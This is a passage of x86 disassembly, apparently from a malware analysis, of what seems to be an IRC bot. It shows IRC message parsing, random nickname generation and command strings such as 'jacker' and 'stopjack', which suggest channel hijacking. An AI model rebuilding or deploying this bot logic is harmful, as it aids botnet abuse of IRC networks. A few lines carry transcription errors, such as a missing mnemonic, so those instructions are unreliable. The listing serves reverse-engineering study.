.text:004038BB      arg_0          = dword ptr 8
.text:004038BB      arg_4          = dword ptr 0Ch
.text:004038BB      arg_8          = dword ptr 10h
.text:004038BB      push     ebp
.text:004038BC      mov     ebp, esp
.text:004038BE      sub     esp, 404h
.text:004038C4      push     ebx
.text:004038C5      push     esi
.text:004038C6      push     edi
.text:004038C7      mov     [ebp+var_404], 1
.text:004038D1      cmp     [ebp+arg_0], 0
.text:004038D5      jz     short loc_4038E3
.text:004038D7      cmp     [ebp+arg_4], 0
.text:004038DB      jz     short loc_4038E3
.text:004038DD      cmp     [ebp+arg_8], 0
.text:004038E1      jnz    short loc_4038EA
.text:004038E3      loc_4038E3:    ; CODE XREF: sub_4038BB+1A*j
.text:004038E3      ; sub_4038BB+20*j
.text:004038E3      xor     eax, eax
.text:004038E5      jmp     loc_4039A0
.text:004038EA      ; -----
.text:004038EA      loc_4038EA:    ; CODE XREF: sub_4038BB+26*j
.text:004038EA      ; "a"
.text:004038EA      push    offset aA
.text:004038EF      [ebp+arg_0]
.text:004038F2      call   fopen
.text:004038F7      add     esp, 8
.text:004038FA      mov     ebx, eax
.text:004038FC      or     ebx, ebx
.text:004038FE      jnz    short loc_403907
.text:00403900      xor     eax, eax
.text:00403902      jmp     loc_4039A0
.text:00403907      ; -----
.text:00403907      loc_403907:    ; CODE XREF: sub_4038BB+43*j
.text:00403907      push    2Dh
.text:00403909      call   malloc
.text:0040390E      pop     ecx
.text:0040390F      mov     esi, eax
.text:00403911      or     esi, esi
.text:00403913      jnz    short loc_40391C
.text:00403915      xor     eax, eax
.text:00403917      jmp     loc_4039A0
.text:0040391C      ; -----
.text:0040391C      loc_40391C:    ; CODE XREF: sub_4038BB+58*j
.text:0040391C      xor     edi, edi
.text:0040391E      jmp     short loc_40392B
.text:00403920      ; -----
.text:00403920      loc_403920:    ; CODE XREF: sub_4038BB+73*j

```

```

.text:00403920      mov     edx, dword_4080C8[edi*4]
.text:00403927      mov     [esi+edi], dl
.text:0040392A      inc     edi
.text:0040392B      loc_40392B:                                     ; CODE XREF: sub_4038BB+63*j
.text:0040392B      cmp     edi, 2Ch
.text:0040392E      jb     short loc_403920
.text:00403930      mov     byte ptr [edi+esi+1], 0
.text:00403935      push   [ebp+arg_8]
.text:00403938      push   offset aS          ; "%S="
.text:0040393D      lea    eax, [ebp+var_400]
.text:00403943      push   eax
.text:00403944      call   sprintf
.text:00403949      push   [ebp+arg_4]
.text:0040394C      lea    eax, [ebp+var_400]
.text:00403952      push   eax
.text:00403953      call   strcat
.text:00403958      lea    eax, [ebp+var_400]
.text:0040395E      push   eax
.text:0040395F      push   esi
.text:00403960      call   sub_40519B
.text:00403965      mov     edi, eax
.text:00403967      push   edi
.text:00403968      push   offset aS_0        ; "%S\n"
.text:0040396D      push   ebx
.text:0040396E      call   fprintf
.text:00403973      add    esp, 28h
.text:00403976      cmp     eax, 1
.text:00403979      jge    short loc_403985
.text:0040397B      mov     [ebp+var_404], 0
.text:00403985      loc_403985:                                     ; CODE XREF: sub_4038BB+BE*j
.text:00403985      push   esi
.text:00403986      call   free
.text:0040398B      push   edi
.text:0040398C      call   free
.text:00403991      push   ebx
.text:00403992      call   fclose
.text:00403997      add    esp, 0Ch
.text:0040399A      mov     eax, [ebp+var_404]
.text:004039A0      loc_4039A0:                                     ; CODE XREF: sub_4038BB+2A*j
.text:004039A0      ; sub_4038BB+47*j ...
.text:004039A0      pop     edi
.text:004039A1      pop     esi
.text:004039A2      pop     ebx
.text:004039A3      leave
.text:004039A4      retn
.text:004039A4      sub_4038BB      endp
.text:004039A5      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:004039A5      ; Attributes: bp-based frame
.text:004039A5      sub_4039A5      proc near                                     ; CODE XREF: sub_40156D+1473*p
.text:004039A5      ; sub_403333+2BD*p ...
.text:004039A5      arg_0           = dword ptr 8
.text:004039A5      arg_4           = dword ptr 0Ch
.text:004039A5      push   ebp
.text:004039A6      mov     ebp, esp
.text:004039A8      push   ebx
.text:004039A9      push   esi
.text:004039AA      push   edi
.text:004039AB      mov     edi, [ebp+arg_0]
.text:004039AE      xor     esi, esi
.text:004039B0      push   3Ah
.text:004039B2      push   [ebp+arg_4]

```

```

.text:004039B5      call     strchr
.text:004039BA      add     esp, 8
.text:004039BD      mov     esi, eax
.text:004039BF      or     esi, esi
.text:004039C1      jz     short loc_4039D6
.text:004039C3      mov     eax, esi
.text:004039C5      inc     eax
.text:004039C6      push   eax
.text:004039C7      call   atoi
.text:004039CC      add     esp, 4
.text:004039CF      mov     ebx, eax
.text:004039D1      mov     byte ptr [esi], 0
.text:004039D4      jmp     short loc_4039DB
.text:004039D6      ; -----
.text:004039D6      loc_4039D6:                ; CODE XREF: sub_4039A5+1C*j
.text:004039D6      mov     ebx, 1A0Bh
.text:004039DB      loc_4039DB:                ; CODE XREF: sub_4039A5+2F*j
.text:004039DB      cmp     dword ptr [edi], 0
.text:004039DE      jnz    short loc_403A00
.text:004039E0      push   80h
.text:004039E5      call   malloc
.text:004039EA      pop     ecx
.text:004039EB      mov     [edi], eax
.text:004039ED      mov     dword ptr [eax+7Ch], 0
.text:004039F4      mov     eax, [edi]
.text:004039F6      mov     [edi+4], eax
.text:004039F9      mov     eax, [edi]
.text:004039FB      mov     [edi+8], eax
.text:004039FE      jmp     short loc_403A27
.text:00403A00      ; -----
.text:00403A00      loc_403A00:                ; CODE XREF: sub_4039A5+39*j
.text:00403A00      push   80h
.text:00403A05      call   malloc
.text:00403A0A      pop     ecx
.text:00403A0B      mov     esi, [edi+4]
.text:00403A0E      mov     [esi+7Ch], eax
.text:00403A11      mov     eax, edi
.text:00403A13      add     eax, 4
.text:00403A16      mov     edx, [eax]
.text:00403A18      mov     edx, [edx+7Ch]
.text:00403A1B      mov     [eax], edx
.text:00403A1D      mov     eax, [edi+4]
.text:00403A20      mov     dword ptr [eax+7Ch], 0
.text:00403A27      loc_403A27:                ; CODE XREF: sub_4039A5+59*j
.text:00403A27      push   77h
.text:00403A29      push   [ebp+arg_4]
.text:00403A2C      push   dword ptr [edi+4]
.text:00403A2F      call   strncpy
.text:00403A34      add     esp, 0Ch
.text:00403A37      mov     eax, [edi+4]
.text:00403A3A      mov     byte ptr [eax+77h], 0
.text:00403A3E      mov     eax, [edi+4]
.text:00403A41      mov     [eax+78h], ebx
.text:00403A44      mov     eax, edi
.text:00403A46      add     eax, 1ECh
.text:00403A4B      inc     dword ptr [eax]
.text:00403A4D      xor     eax, eax
.text:00403A4F      inc     eax
.text:00403A50      pop     edi
.text:00403A51      pop     esi
.text:00403A52      pop     ebx
.text:00403A53      pop     ebp
.text:00403A54      retn
.text:00403A54      sub_4039A5      endp
.text:00403A55

```

```

.text:00403A55 ; ////////////////////////////////// S U B R O U T I N E //////////////////////////////////
.text:00403A55
.text:00403A55 ; Attributes: bp-based frame
.text:00403A55 sub_403A55      proc near          ; CODE XREF: sub_40156D+14A1*p
.text:00403A55
.text:00403A55 var_8          = dword ptr -8
.text:00403A55 var_4          = dword ptr -4
.text:00403A55 arg_0          = dword ptr  8
.text:00403A55 arg_4          = dword ptr  0Ch
.text:00403A55
.text:00403A55      push    ebp
.text:00403A56      mov     ebp, esp
.text:00403A58      push    ecx
.text:00403A59      push    eax
.text:00403A5A      push    ebx
.text:00403A5B      push    esi
.text:00403A5C      push    edi
.text:00403A5D      mov     esi, [ebp+arg_0]
.text:00403A60      mov     ebx, [ebp+arg_4]
.text:00403A63      xor     edi, edi
.text:00403A65      mov     [ebp+var_8], edi
.text:00403A68      xor     edi, edi
.text:00403A6A      mov     [ebp+var_4], edi
.text:00403A6D      or     ebx, ebx
.text:00403A6F      jz     short loc_403A83
.text:00403A71      cmp    [esi], edi
.text:00403A73      jz     short loc_403A83
.text:00403A75      cmp    [esi+4], edi
.text:00403A78      jz     short loc_403A83
.text:00403A7A      cmp    dword ptr [esi+1ECh], 2
.text:00403A81      jge    short loc_403A87
.text:00403A83
.text:00403A83 loc_403A83:          ; CODE XREF: sub_403A55+1A*j
.text:00403A83          ; sub_403A55+1E*j ...
.text:00403A83      xor     eax, eax
.text:00403A85      jmp    short loc_403AF1
.text:00403A87 ; -----
.text:00403A87
.text:00403A87 loc_403A87:          ; CODE XREF: sub_403A55+2C*j
.text:00403A87      push    3Ah
.text:00403A89      push    ebx
.text:00403A8A      call   strchr
.text:00403A8F      add    esp, 8
.text:00403A92      mov    [ebp+var_8], eax
.text:00403A95      or     eax, eax
.text:00403A97      jz     short loc_403A9C
.text:00403A99      mov    byte ptr [eax], 0
.text:00403A9C
.text:00403A9C loc_403A9C:          ; CODE XREF: sub_403A55+42*j
.text:00403A9C      mov    eax, [esi]
.text:00403A9E      lea   edi, [eax]
.text:00403AA0      mov    [ebp+var_4], eax
.text:00403AA3      jmp    short loc_403AE1
.text:00403AA5 ; -----
.text:00403AA5
.text:00403AA5 loc_403AA5:          ; CODE XREF: sub_403A55+97*j
.text:00403AA5      push    ebx          ; const char *
.text:00403AA6      push    edi          ; const char *
.text:00403AA7      call   _strcmpi
.text:00403AAC      add    esp, 8
.text:00403AAF      or     eax, eax
.text:00403AB1      jnz    short loc_403ADB
.text:00403AB3      cmp    edi, [esi]
.text:00403AB5      jnz    short loc_403AC0
.text:00403AB7      mov    eax, [esi]
.text:00403AB9      mov    eax, [eax+7Ch]
.text:00403ABC      mov    [esi], eax
.text:00403ABE      jmp    short loc_403AC9
.text:00403AC0 ; -----

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```

.text:00403AC0
.text:00403AC0 loc_403AC0: ; CODE XREF: sub_403A55+60*j
.text:00403AC0      mov     eax, [ebp+var_4]
.text:00403AC3      mov     edx, [edi+7Ch]
.text:00403AC6      mov     [eax+7Ch], edx
.text:00403AC9
.text:00403AC9 loc_403AC9: ; CODE XREF: sub_403A55+69*j
.text:00403AC9      push   edi
.text:00403ACA      call   free
.text:00403ACF      pop     ecx
.text:00403AD0      mov     eax, esi
.text:00403AD2      add     eax, 1ECh
.text:00403AD7      dec     dword ptr [eax]
.text:00403AD9      jmp     short loc_403ADE
.text:00403ADB ; -----
.text:00403ADB loc_403ADB: ; CODE XREF: sub_403A55+5C*j
.text:00403ADB      mov     [ebp+var_4], edi
.text:00403ADE loc_403ADE: ; CODE XREF: sub_403A55+84*j
.text:00403ADE      mov     edi, [edi+7Ch]
.text:00403AE1 loc_403AE1: ; CODE XREF: sub_403A55+4E*j
.text:00403AE1      or     edi, edi
.text:00403AE3      jz     short loc_403AEE
.text:00403AE5      cmp    dword ptr [esi+1ECh], 1
.text:00403AEC      jg     short loc_403AA5
.text:00403AEE loc_403AEE: ; CODE XREF: sub_403A55+8E*j
.text:00403AEE      xor    eax, eax
.text:00403AF0      inc    eax
.text:00403AF1 loc_403AF1: ; CODE XREF: sub_403A55+30*j
.text:00403AF1      pop    edi
.text:00403AF2      pop    esi
.text:00403AF3      pop    ebx
.text:00403AF4      leave
.text:00403AF5      retn
.text:00403AF5 sub_403A55      endp
.text:00403AF6 ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403AF6
.text:00403AF6 sub_403AF6      proc near ; CODE XREF: sub_40156D+26D*p
.text:00403AF6 ; sub_40156D+2F1*p ...
.text:00403AF6 arg_0          = dword ptr 4
.text:00403AF6      mov    ecx, [esp+arg_0]
.text:00403AFA      mov    eax, [ecx+8]
.text:00403AFD      cmp    dword ptr [eax+7Ch], 0
.text:00403B01      jz     short loc_403B11
.text:00403B03      mov    eax, ecx
.text:00403B05      add    eax, 8
.text:00403B08      mov    edx, [eax]
.text:00403B0A      mov    edx, [edx+7Ch]
.text:00403B0D      mov    [eax], edx
.text:00403B0F      jmp    short loc_403B16
.text:00403B11 ; -----
.text:00403B11 loc_403B11: ; CODE XREF: sub_403AF6+B*j
.text:00403B11      mov    eax, [ecx]
.text:00403B13      mov    [ecx+8], eax
.text:00403B16 loc_403B16: ; CODE XREF: sub_403AF6+19*j
.text:00403B16      xor    eax, eax
.text:00403B18      inc    eax
.text:00403B19      retn
.text:00403B19 sub_403AF6      endp

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.text:00403B19
.text:00403B1A ; -----
.text:00403B1A      push    ebp
.text:00403B1B      mov     ebp, esp
.text:00403B1D      push    esi
.text:00403B1E      push    edi
.text:00403B1F      mov     esi, [ebp+8]
.text:00403B22      mov     edi, [esi]
.text:00403B24      jmp     short loc_403B29
.text:00403B26 ; -----
.text:00403B26 loc_403B26:      mov     edi, [edi+7Ch] ; CODE XREF: .text:00403B33•j
.text:00403B29 loc_403B29:      mov     eax, [edi+7Ch] ; CODE XREF: .text:00403B24•j
.text:00403B2C      cmp     eax, [esi+8]
.text:00403B2F      jz     short loc_403B35
.text:00403B31      or     eax, eax
.text:00403B33      jnz    short loc_403B26
.text:00403B35 loc_403B35:      mov     eax, [esi+8] ; CODE XREF: .text:00403B2F•j
.text:00403B38      cmp     [edi+7Ch], eax
.text:00403B3B      jz     short loc_403B41
.text:00403B3D      xor     eax, eax
.text:00403B3F      jmp     short loc_403B62
.text:00403B41 ; -----
.text:00403B41 loc_403B41:      mov     eax, [esi+8] ; CODE XREF: .text:00403B3B•j
.text:00403B44      mov     eax, [eax+7Ch]
.text:00403B47      mov     [edi+7Ch], eax
.text:00403B4A      push   dword ptr [esi+8]
.text:00403B4D      call   free
.text:00403B52      pop    ecx
.text:00403B53      mov     [esi+8], edi
.text:00403B56      mov     eax, esi
.text:00403B58      add     eax, 1ECh
.text:00403B5D      dec    dword ptr [eax]
.text:00403B5F      xor     eax, eax
.text:00403B61      inc    eax
.text:00403B62 loc_403B62:      pop    edi ; CODE XREF: .text:00403B3F•j
.text:00403B63      pop    esi
.text:00403B64      pop    ebp
.text:00403B65      retn
.text:00403B66 ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403B66 ; Attributes: bp-based frame
.text:00403B66 sub_403B66      proc near ; CODE XREF: sub_40156D+31E•p
.text:00403B66 ; sub_40156D+597•p ...
.text:00403B66 arg_0          = dword ptr 8
.text:00403B66 arg_4          = dword ptr 0Ch
.text:00403B66      push   ebp
.text:00403B67      mov     ebp, esp
.text:00403B69      push   ebx
.text:00403B6A      push   esi
.text:00403B6B      push   edi
.text:00403B6C      mov     ebx, [ebp+arg_0]
.text:00403B6F      mov     esi, [ebp+arg_4]
.text:00403B72      cmp     ebx, esi
.text:00403B74      jnz    short loc_403B77
.text:00403B76      inc    esi
.text:00403B77

```

```

.text:00403B77 loc_403B77:                                ; CODE XREF: sub_403B66+E*j
.text:00403B77      call    GetTickCount
.text:00403B7C      push   eax
.text:00403B7D      call    srand
.text:00403B82      add    esp, 4
.text:00403B85      cmp    ebx, esi
.text:00403B87      jge   short loc_403B9D
.text:00403B89      call    rand
.text:00403B8E      mov    ecx, esi
.text:00403B90      sub    ecx, ebx
.text:00403B92      cdq
.text:00403B93      idiv   ecx
.text:00403B95      mov    edi, ebx
.text:00403B97      add    edi, edx
.text:00403B99      mov    eax, edi
.text:00403B9B      jmp   short loc_403BAF
.text:00403B9D ; -----
.text:00403B9D loc_403B9D:                                ; CODE XREF: sub_403B66+21*j
.text:00403B9D      call    rand
.text:00403BA2      mov    ecx, ebx
.text:00403BA4      sub    ecx, esi
.text:00403BA6      cdq
.text:00403BA7      idiv   ecx
.text:00403BA9      mov    edi, esi
.text:00403BAB      add    edi, edx
.text:00403BAD      mov    eax, edi
.text:00403BAF loc_403BAF:                                ; CODE XREF: sub_403B66+35*j
.text:00403BAF      pop    edi
.text:00403BB0      pop    esi
.text:00403BB1      pop    ebx
.text:00403BB2      pop    ebp
.text:00403BB3      retn
.text:00403BB3 sub_403B66      endp
.text:00403BB3
.text:00403BB4 ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403BB4 ; Attributes: bp-based frame
.text:00403BB4 sub_403BB4      proc near                                ; CODE XREF: sub_40156D+32B*p
.text:00403BB4 ; sub_40156D+5A7*p ...
.text:00403BB4 arg_0          = dword ptr 8
.text:00403BB4 arg_4          = dword ptr 0Ch
.text:00403BB4      push   ebp
.text:00403BB5      mov    ebp, esp
.text:00403BB7      push   ebx
.text:00403BB8      push   esi
.text:00403BB9      push   edi
.text:00403BBA      mov    ebx, [ebp+arg_0]
.text:00403BBD      call    GetTickCount
.text:00403BC2      push   eax
.text:00403BC3      call    srand
.text:00403BC8      add    esp, 4
.text:00403BCB      xor    esi, esi
.text:00403BCD      jmp   short loc_403BF9
.text:00403BCF ; -----
.text:00403BCF loc_403BCF:                                ; CODE XREF: sub_403BB4+48*j
.text:00403BCF      mov    edi, esi
.text:00403BD1      inc    esi
.text:00403BD2      call    rand
.text:00403BD7      mov    ecx, 1Ah
.text:00403BDC      cdq
.text:00403BDD      idiv   ecx
.text:00403BDF      add    edx, 41h
.text:00403BE2      mov    [ebx+edi], dl

```

```

.text:00403BE5      call    rand
.text:00403BEA      mov     ecx, 1Ah
.text:00403BEF      cdq
.text:00403BF0      idiv   ecx
.text:00403BF2      add     edx, 61h
.text:00403BF5      mov     [ebx+esi], dl
.text:00403BF8      inc     esi
.text:00403BF9      loc_403BF9:                                     ; CODE XREF: sub_403BB4+19*j
.text:00403BF9      cmp     esi, [ebp+arg_4]
.text:00403BFC      jl     short loc_403BCF
.text:00403BFE      mov     eax, [ebp+arg_4]
.text:00403C01      mov     byte ptr [ebx+eax], 0
.text:00403C05      pop     edi
.text:00403C06      pop     esi
.text:00403C07      pop     ebx
.text:00403C08      pop     ebp
.text:00403C09      retn
.text:00403C09      sub_403BB4      endp
.text:00403C09
.text:00403C0A      ; ////////////////////////////////// S U B R O U T I N E //////////////////////////////////
.text:00403C0A
.text:00403C0A      sub_403C0A      proc near                                     ; CODE XREF: sub_40156D+4E8*p
.text:00403C0A                                     ; sub_40156D+4FB*p ...
.text:00403C0A      arg_0          = dword ptr 8
.text:00403C0A
.text:00403C0A      push    edi
.text:00403C0B      mov     edi, [esp+arg_0]
.text:00403C0F      or     edi, edi
.text:00403C11      jz     short loc_403C24
.text:00403C13      lea    ecx, [edi]
.text:00403C15      or     eax, 0FFFFFFFh
.text:00403C18      loc_403C18:                                     ; CODE XREF: sub_403C0A+13*j
.text:00403C18      inc     eax
.text:00403C19      cmp     byte ptr [ecx+eax], 0
.text:00403C1D      jnz    short loc_403C18
.text:00403C1F      cmp     eax, 1
.text:00403C22      jbe    short loc_403C28
.text:00403C24      loc_403C24:                                     ; CODE XREF: sub_403C0A+7*j
.text:00403C24      xor     eax, eax
.text:00403C26      jmp     short loc_403C43
.text:00403C28      ; -----
.text:00403C28      loc_403C28:                                     ; CODE XREF: sub_403C0A+18*j
.text:00403C28      mov     al, [edi]
.text:00403C2A      cmp     al, 41h
.text:00403C2C      jl     short loc_403C32
.text:00403C2E      cmp     al, 5Bh
.text:00403C30      jle    short loc_403C3C
.text:00403C32      loc_403C32:                                     ; CODE XREF: sub_403C0A+22*j
.text:00403C32      mov     al, [edi]
.text:00403C34      cmp     al, 61h
.text:00403C36      jl     short loc_403C41
.text:00403C38      cmp     al, 7Bh
.text:00403C3A      jg     short loc_403C41
.text:00403C3C      loc_403C3C:                                     ; CODE XREF: sub_403C0A+26*j
.text:00403C3C      xor     eax, eax
.text:00403C3E      inc     eax
.text:00403C3F      jmp     short loc_403C43
.text:00403C41      ; -----
.text:00403C41      loc_403C41:                                     ; CODE XREF: sub_403C0A+2C*j
.text:00403C41                                     ; sub_403C0A+30*j

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.text:00403C41      xor     eax, eax
.text:00403C43
.text:00403C43  loc_403C43:      ; CODE XREF: sub_403C0A+1C*j
.text:00403C43      ; sub_403C0A+35*j
.text:00403C43      pop     edi
.text:00403C44      retn
.text:00403C44  sub_403C0A      endp
.text:00403C44
.text:00403C45      ; ////////////////////////////////// S U B R O U T I N E //////////////////////////////////
.text:00403C45      ; Attributes: bp-based frame
.text:00403C45
.text:00403C45  sub_403C45      proc near      ; CODE XREF: sub_40156D+15AC*p
.text:00403C45
.text:00403C45  var_1          = dword ptr -1
.text:00403C45  arg_0          = dword ptr  8
.text:00403C45
.text:00403C45      push   ebp
.text:00403C46      mov    ebp, esp
.text:00403C48      push   ecx
.text:00403C49      push   esi
.text:00403C4A      mov    esi, [ebp+arg_0]
.text:00403C4D      mov    byte ptr [ebp+var_1], 61h
.text:00403C51      or     esi, esi
.text:00403C53      jnz   short loc_403C5C
.text:00403C55      mov    eax, 30h
.text:00403C5A      jmp   short loc_403CAE
.text:00403C5C      ; -----
.text:00403C5C
.text:00403C5C  loc_403C5C:      ; CODE XREF: sub_403C45+E*j
.text:00403C5C      lea   ecx, [esi]
.text:00403C5E      jmp   short loc_403C9F
.text:00403C60      ; -----
.text:00403C60
.text:00403C60  loc_403C60:      ; CODE XREF: sub_403C45+63*j
.text:00403C60      movsx eax, byte ptr [ecx]
.text:00403C63      cmp   al, 41h
.text:00403C65      jl   short loc_403C7C
.text:00403C67      cmp   al, 5Ah
.text:00403C69      jg   short loc_403C7C
.text:00403C6B      add   eax, 20h
.text:00403C6E      movsx edx, byte ptr [ebp+var_1]
.text:00403C72      cmp   eax, edx
.text:00403C74      jz   short loc_403C7C
.text:00403C76      movsx eax, byte ptr [ebp+var_1]
.text:00403C7A      jmp   short loc_403CAE
.text:00403C7C      ; -----
.text:00403C7C
.text:00403C7C  loc_403C7C:      ; CODE XREF: sub_403C45+20*j
.text:00403C7C      ; sub_403C45+24*j ...
.text:00403C7C      movsx eax, byte ptr [ecx]
.text:00403C7F      cmp   al, 61h
.text:00403C81      jl   short loc_403C95
.text:00403C83      cmp   al, 7Ah
.text:00403C85      jg   short loc_403C95
.text:00403C87      movsx edx, byte ptr [ebp+var_1]
.text:00403C8B      cmp   eax, edx
.text:00403C8D      jz   short loc_403C95
.text:00403C8F      movsx eax, byte ptr [ebp+var_1]
.text:00403C93      jmp   short loc_403CAE
.text:00403C95      ; -----
.text:00403C95
.text:00403C95  loc_403C95:      ; CODE XREF: sub_403C45+3C*j
.text:00403C95      ; sub_403C45+40*j ...
.text:00403C95      inc   ecx
.text:00403C96      cmp   byte ptr [ecx], 20h
.text:00403C99      jnz   short loc_403C9C
.text:00403C9B      inc   ecx
.text:00403C9C

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```

.text:00403C9C loc_403C9C:                ; CODE XREF: sub_403C45+54*j
.text:00403C9C         inc             [ebp+var_1]
.text:00403C9F
.text:00403C9F loc_403C9F:                ; CODE XREF: sub_403C45+19*j
.text:00403C9F         cmp             byte ptr [ecx], 0
.text:00403CA2         jz             short loc_403CAA
.text:00403CA4         cmp             byte ptr [ebp+var_1], 7Ah
.text:00403CA8         jle            short loc_403C60
.text:00403CAA
.text:00403CAA loc_403CAA:                ; CODE XREF: sub_403C45+5D*j
.text:00403CAA         movsx          eax, byte ptr [ebp+var_1]
.text:00403CAE
.text:00403CAE loc_403CAE:                ; CODE XREF: sub_403C45+15*j
.text:00403CAE         ; sub_403C45+35*j ...
.text:00403CAE         pop            esi
.text:00403CAF         leave
.text:00403CB0         retn
.text:00403CB0 sub_403C45         endp
.text:00403CB0
.text:00403CB1
.text:00403CB1 ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403CB1 ; Attributes: bp-based frame
.text:00403CB1
.text:00403CB1 sub_403CB1         proc near                ; CODE XREF: sub_40156D+41C*p
.text:00403CB1         ; sub_40156D+435*p
.text:00403CB1 arg_0              = dword ptr 8
.text:00403CB1
.text:00403CB1         push          ebp
.text:00403CB2         mov           ebp, esp
.text:00403CB4         push         edi
.text:00403CB5         mov           edi, [ebp+arg_0]
.text:00403CB8         push         3
.text:00403CBA         push         offset aNic      ; "NIC"
.text:00403CBF         push         edi
.text:00403CC0         call         strncmp
.text:00403CC5         add          esp, 0Ch
.text:00403CC8         or           eax, eax
.text:00403CCA         jnz          short loc_403CD6
.text:00403CCC         mov          eax, dword_408120
.text:00403CD1         jmp          loc_403DBA
.text:00403CD6 ; -----
.text:00403CD6
.text:00403CD6 loc_403CD6:          ; CODE XREF: sub_403CB1+19*j
.text:00403CD6         push         3
.text:00403CD8         push         offset a433      ; "433"
.text:00403CDD         push         edi
.text:00403CDE         call         strncmp
.text:00403CE3         add          esp, 0Ch
.text:00403CE6         or           eax, eax
.text:00403CE8         jnz          short loc_403CF4
.text:00403CEA         mov          eax, dword_408128
.text:00403CEF         jmp          loc_403DBA
.text:00403CF4 ; -----
.text:00403CF4
.text:00403CF4 loc_403CF4:          ; CODE XREF: sub_403CB1+37*j
.text:00403CF4         push         7
.text:00403CF6         push         offset aPrivmsg  ; "PRIVMSG"
.text:00403CFB         push         edi
.text:00403CFC         call         strncmp
.text:00403D01         add          esp, 0Ch
.text:00403D04         or           eax, eax
.text:00403D06         jnz          short loc_403D12
.text:00403D08         mov          eax, dword_408130
.text:00403D0D         jmp          loc_403DBA
.text:00403D12 ; -----
.text:00403D12
.text:00403D12 loc_403D12:          ; CODE XREF: sub_403CB1+55*j
.text:00403D12         push         4

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```

.text:00403D14      push    offset aPing      ; "PING"
.text:00403D19      push    edi
.text:00403D1A      call   strncmp
.text:00403D1F      add    esp, 0Ch
.text:00403D22      or     eax, eax
.text:00403D24      jnz   short loc_403D30
.text:00403D26      mov    eax, dword_40812C
.text:00403D2B      jmp    loc_403DBA
.text:00403D30 ; -----
.text:00403D30      loc_403D30:                ; CODE XREF: sub_403CB1+73*j
.text:00403D30      push    6
.text:00403D32      push    offset aNotice   ; "NOTICE"
.text:00403D37      push    edi
.text:00403D38      call   strncmp
.text:00403D3D      add    esp, 0Ch
.text:00403D40      or     eax, eax
.text:00403D42      jnz   short loc_403D4B
.text:00403D44      mov    eax, dword_408134
.text:00403D49      jmp    short loc_403DBA
.text:00403D4B ; -----
.text:00403D4B      loc_403D4B:                ; CODE XREF: sub_403CB1+91*j
.text:00403D4B      push    4
.text:00403D4D      push    offset aQuit     ; "QUIT"
.text:00403D52      push    edi
.text:00403D53      call   strncmp
.text:00403D58      add    esp, 0Ch
.text:00403D5B      or     eax, eax
.text:00403D5D      jnz   short loc_403D66
.text:00403D5F      mov    eax, dword_408124
.text:00403D64      jmp    short loc_403DBA
.text:00403D66 ; -----
.text:00403D66      loc_403D66:                ; CODE XREF: sub_403CB1+AC*j
.text:00403D66      push    4
.text:00403D68      push    offset aMode     ; "MODE"
.text:00403D6D      push    edi
.text:00403D6E      call   strncmp
.text:00403D73      add    esp, 0Ch
.text:00403D76      or     eax, eax
.text:00403D78      jnz   short loc_403D81
.text:00403D7A      mov    eax, dword_40813C
.text:00403D7F      jmp    short loc_403DBA
.text:00403D81 ; -----
.text:00403D81      loc_403D81:                ; CODE XREF: sub_403CB1+C7*j
.text:00403D81      push    3
.text:00403D83      push    offset a303      ; "303"
.text:00403D88      push    edi
.text:00403D89      call   strncmp
.text:00403D8E      add    esp, 0Ch
.text:00403D91      or     eax, eax
.text:00403D93      jnz   short loc_403D9C
.text:00403D95      mov    eax, dword_408138
.text:00403D9A      jmp    short loc_403DBA
.text:00403D9C ; -----
.text:00403D9C      loc_403D9C:                ; CODE XREF: sub_403CB1+E2*j
.text:00403D9C      push    3
.text:00403D9E      push    offset a376      ; "376"
.text:00403DA3      push    edi
.text:00403DA4      call   strncmp
.text:00403DA9      add    esp, 0Ch
.text:00403DAC      or     eax, eax
.text:00403DAE      jnz   short loc_403DB7
.text:00403DB0      mov    eax, dword_408140
.text:00403DB5      jmp    short loc_403DBA
.text:00403DB7 ; -----
.text:00403DB7

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.text:00403DB7 loc_403DB7:                ; CODE XREF: sub_403CB1+FD*j
.text:00403DB7                or         eax, 0FFFFFFFh
.text:00403DBA loc_403DBA:                ; CODE XREF: sub_403CB1+20*j
.text:00403DBA                ; sub_403CB1+3E*j ...
.text:00403DBA                pop        edi
.text:00403DBB                pop        ebp
.text:00403DBC                retn
.text:00403DBC sub_403CB1                endp
.text:00403DBC
.text:00403DBD                ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403DBD
.text:00403DBD                ; int __cdecl sub_403DBD(const char *)
.text:00403DBD                ; Attributes: bp-based frame
.text:00403DBD sub_403DBD                proc near                ; CODE XREF: sub_40156D+9BE*p
.text:00403DBD
.text:00403DBD                arg_0      = dword ptr 8
.text:00403DBD                push       ebp
.text:00403DBE                mov        ebp, esp
.text:00403DC0                push       edi
.text:00403DC1                mov        edi, [ebp+arg_0]
.text:00403DC4                push       offset aHelp        ; const char *
.text:00403DC9                push       edi                  ; const char *
.text:00403DCA                call      _strcmpi
.text:00403DCF                add        esp, 8
.text:00403DD2                or         eax, eax
.text:00403DD4                jnz       short loc_403DE0
.text:00403DD6                mov        eax, dword_408144
.text:00403DDB                jmp        loc_4040AC
.text:00403DE0                ; -----
.text:00403DE0 loc_403DE0:                ; CODE XREF: sub_403DBD+17*j
.text:00403DE0                push       offset aJacker       ; const char *
.text:00403DE5                push       edi                  ; const char *
.text:00403DE6                call      _strcmpi
.text:00403DEB                add        esp, 8
.text:00403DEE                or         eax, eax
.text:00403DF0                jnz       short loc_403DFC
.text:00403DF2                mov        eax, dword_408148
.text:00403DF7                jmp        loc_4040AC
.text:00403DFC                ; -----
.text:00403DFC loc_403DFC:                ; CODE XREF: sub_403DBD+33*j
.text:00403DFC                push       offset aSacker       ; const char *
.text:00403E01                push       edi                  ; const char *
.text:00403E02                call      _strcmpi
.text:00403E07                add        esp, 8
.text:00403E0A                or         eax, eax
.text:00403E0C                jnz       short loc_403E18
.text:00403E0E                mov        eax, dword_40814C
.text:00403E13                jmp        loc_4040AC
.text:00403E18                ; -----
.text:00403E18 loc_403E18:                ; CODE XREF: sub_403DBD+4F*j
.text:00403E18                push       offset aStopjack     ; const char *
.text:00403E1D                push       edi                  ; const char *
.text:00403E1E                call      _strcmpi
.text:00403E23                add        esp, 8
.text:00403E26                or         eax, eax
.text:00403E28                jnz       short loc_403E34
.text:00403E2A                mov        eax, dword_408150
